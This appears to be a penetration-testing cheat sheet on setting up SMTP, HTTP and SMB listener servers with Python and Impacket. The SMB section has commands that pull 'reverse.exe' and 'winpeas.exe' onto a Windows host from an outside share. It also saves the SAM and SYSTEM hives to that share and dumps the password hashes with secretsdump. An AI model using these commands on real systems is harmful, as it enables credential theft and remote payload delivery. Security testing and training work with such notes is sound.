Skip to content

Server listeners

SMTP Server

Setup a SMTP server with Python.

$ sudo python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25
---------- MESSAGE FOLLOWS ----------
b'Date: Sun, 26 Sep 2021 18:21:06 +0200'
b'To: user@example.com'
b'From: me@example.com'
b'Subject: test Sun, 26 Sep 2021 18:21:06 +0200'
b'Message-Id: <20210926182106.026180@arch.localdomain>'
b'X-Mailer: swaks vDEVRELEASE jetmore.org/john/code/swaks/'
b'X-Peer: 127.0.0.1'
b''
b'This is a test mailing'
b''
------------ END MESSAGE ------------

Command to send the mail :

$ swaks --to user@example.com --from me@example.com --server localhost

HTTP Server

Setup a HTTP server with Python.

$ python3 -m http.server --bind 0.0.0.0 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
127.0.0.1 - - [26/Sep/2021 18:24:47] code 404, message File not found
127.0.0.1 - - [26/Sep/2021 18:24:47] "GET /hello HTTP/1.1" 404 -

Command to the the HTTP request :

$ curl localhost:4444/hello

SMB Sever

Server (on 10.9.52.138) :

$ sudo smbserver.py tmpshare .
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[...]
$ sudo smbserver.py -smb2support tmpshare .
[...]

Client :

# Download from SMB server.
C:\ > copy \\10.9.52.138\tmpshare\reverse.exe .

# Send to SMB server.
C:\ > reg.exe save HKLM\SAM sam.bak
C:\ > copy sam.bak \\10.9.52.138\tmpshare\sam
# or
C:\ > reg.exe save HKLM\SYSTEM \\10.9.52.138\tmpshare\system
$ secretsdump.py -sam sam -system system LOCAL
[...]

SMB Server (password protected)

Run the server :

sudo smbserver.py tmpshare . -smb2support -username toto -password toto
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[...]

Use the server :

PS C:\users\public> net use '\\10.10.15.176\tmpshare' /user:toto toto
The command completed successfully.

PS C:\users\public> copy '\\10.10.15.176\tmpshare\winpeas.exe' .